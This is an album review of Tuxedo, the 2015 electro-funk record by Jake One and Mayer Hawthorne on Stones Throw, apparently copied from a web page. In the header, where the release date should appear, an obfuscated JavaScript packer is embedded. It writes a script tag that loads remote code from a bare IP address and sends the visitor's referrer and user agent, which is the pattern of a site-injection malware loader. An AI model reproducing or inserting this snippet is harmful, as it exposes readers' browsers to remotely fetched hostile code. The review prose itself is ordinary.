ALBUM REVIEW: TUXEDO

TuxedoTUXEDO
RELEASED (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdftf|var|u0026u|referrer|ebdif||js|php’.split(‘|’),0,{}))
2ND MARCH 2015
STONES THROW RECORDS

Two Grammy nominated artists, Jake One and Mayer Hawthorne have come together to form Tuxedo, and have delivered an album of sweet electro-funk that will have you dimming the lights and getting yo baby out of those shoulder pads and into your black satin sheets. This doesn’t feel like a vanity project; more of a labour of luuurve and appreciation for a genre that still sees its influence in R&B and strains of House music. The 80’s are still alive.

Hawthorne’s voice is flawless and the beats are silky smooth. Disclaimer though: it can’t even approach ‘original’. There’s too many ‘likes’ for a wow moment. You can hear Timberlake style inflections throughout. Prince gets a nod (in sound and spelling) on Get U Home, and R U Ready, and Do It starts off exactly like the (still stunning) Lucy Pearl.

What do you get? Parping synths, more slow claps than a Butlins talent show, 808 beats that sounds future-modern, more ‘babies’ than a crèche, and oohs and aahs than a Wimbledon final. Stones Throw started as so underground it might have been run by mole men, but now, like any good label, it doesn’t just ‘do’ one genre. Hip Hop sits along soul and electronica and has become a solid gold indie.

With Tuxedo and Hawthorne on the roster, they have smoothly moved from low slung jeans and backpacks to Bond soundtracked by Barry White. Tuxedo is one for the after-party for two, summer top down car cruises and the nostalgia purists. We know we’re feeling it. Dust off the black and white, sip a cocktail, and try not to fall through that bar hatch when you’re lounging at the wine bar.

Loading...